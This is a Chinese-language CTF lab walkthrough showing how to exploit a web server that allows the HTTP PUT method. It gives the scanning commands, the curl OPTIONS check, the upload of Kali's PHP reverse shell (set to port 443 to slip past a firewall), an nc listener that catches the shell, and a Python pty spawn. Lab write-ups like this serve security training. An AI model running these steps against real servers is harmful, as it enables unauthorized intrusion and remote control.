当前位置: 首页 > news >正文

CTF-PUT上传漏洞【超详细】

目录

中间件PUT漏洞介绍

实验环境

信息探测

nmap -sV 192.168.20.137

nmap -A -v -T4 192.168.20.137

探测敏感信息

深入挖掘

漏洞扫描

测试PUT漏洞

对敏感目录进行测试

上传webshell

调用kali中的php

编辑shell.php

目录上传shell.php

nc监听端口

反弹shell

启动终端


中间件PUT漏洞介绍

中间件包括apache、tomcat、IIS、weblogic等这些中间件可以设置支持的HTTP方法(HTTP方法包括GET、POST、HEAD、DELETE、PUT、OPTIONS等)

每一个HTTP方法都有其对应的功能,在这些方法中,PUT可以直接从客户机上传文件到服务器。如果间接开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传webshell到服务器对应的目录。

直接上传shell,也可以从侧面反应PUT漏洞的严重危害性。

实验环境

kali 192.168.20.128

靶机 192.168.20.137

链接:https://pan.baidu.com/s/1UUoIKTbq5UbyAgteYVIjNg 
提取码:i59h 

信息探测

nmap -sV 192.168.20.137

nmap -A -v -T4 192.168.20.137

探测敏感信息

nikto -host http://192.168.20.137

dirb http://192.168.20.137

深入挖掘

发现dirb扫描出两条连接

打开查看第一条

 

第一条链接没有有效信息

打开查看第二条

是一个空目录,没有有效信息

漏洞扫描

owasp-zap扫描漏洞

  

没有扫描到高危漏洞

测试PUT漏洞

对敏感目录进行测试

curl -v -X OPTIONS http://192.168.20.137/test

该目录存在PUT漏洞

上传webshell

调用kali中的php

cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/shell.php

编辑shell.php

端口使用443是为了绕过防火墙

目录上传shell.php

下载插件RESTClient

发现rshell.php被成功上传

nc监听端口

nc -nlvp 443

执行rshell.php

反弹shell

发现不是root用户

启动终端

echo "import pty;pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

相关文章:

  • 程序人生 | 编程的上帝视角应该怎么去找
  • KingbaseES V8R3集群运维案例之---主库系统down failover切换过程分析
  • 夏日水果茶饮店如何引流?这四款饮品必学
  • ESP32_esp-idf_lvgl_V8环境搭建移植
  • 人工智能第2版学习——产生式系统2
  • Cortex-A核的异常的处理过程
  • 基于IDEA 工程项目的git实操
  • SAP 多个smartforms同时打印页码问题
  • 离线数仓搭建_03_Hadoop的配置与优化测试
  • 【设计模式】Java设计模式 - 命令模式
  • openstack-mitaka(二) 基于vmware的搭建
  • 【Vue2】VantUI项目入门教程
  • 痛苦与反思:想提升自己,却不知道该如何做
  • C++和QML混合编程_C++端后台多线程处理
  • Math 对象+JS数组求和的常用方法+ indexOf+js计算数组中每个元素出现的次数+while循环语句死循环
  • 【399天】跃迁之路——程序员高效学习方法论探索系列(实验阶段156-2018.03.11)...
  • 【Amaple教程】5. 插件
  • 4月23日世界读书日 网络营销论坛推荐《正在爆发的营销革命》
  • android 一些 utils
  • ES6之路之模块详解
  • LeetCode29.两数相除 JavaScript
  • MySQL数据库运维之数据恢复
  • ReactNativeweexDeviceOne对比
  • Redis学习笔记 - pipline(流水线、管道)
  • 构建工具 - 收藏集 - 掘金
  • 基于Vue2全家桶的移动端AppDEMO实现
  • 区块链共识机制优缺点对比都是什么
  • 世界编程语言排行榜2008年06月(ActionScript 挺进20强)
  • 鱼骨图 - 如何绘制?
  • 智能网联汽车信息安全
  • # centos7下FFmpeg环境部署记录
  • #DBA杂记1
  • (C语言)编写程序将一个4×4的数组进行顺时针旋转90度后输出。
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (力扣)循环队列的实现与详解(C语言)
  • ***微信公众号支付+微信H5支付+微信扫码支付+小程序支付+APP微信支付解决方案总结...
  • .net core 连接数据库,通过数据库生成Modell
  • .NET Core 项目指定SDK版本
  • .net core开源商城系统源码,支持可视化布局小程序
  • .NET Micro Framework 4.2 beta 源码探析
  • .NET Standard 支持的 .NET Framework 和 .NET Core
  • .NET企业级应用架构设计系列之开场白
  • .Net中的设计模式——Factory Method模式
  • /var/log/cvslog 太大
  • @RunWith注解作用
  • @test注解_Spring 自定义注解你了解过吗?
  • [].shift.call( arguments ) 和 [].slice.call( arguments )
  • []指针
  • [Android]Android P(9) WIFI学习笔记 - 扫描 (1)
  • [Angular] 笔记 6:ngStyle
  • [C++]unordered系列关联式容器
  • [FUNC]判断窗口在哪一个屏幕上
  • [HCTF 2018]WarmUp (代码审计)
  • [HTML]Web前端开发技术29(HTML5、CSS3、JavaScript )JavaScript基础——喵喵画网页
  • [Linux]Ubuntu noVNC使用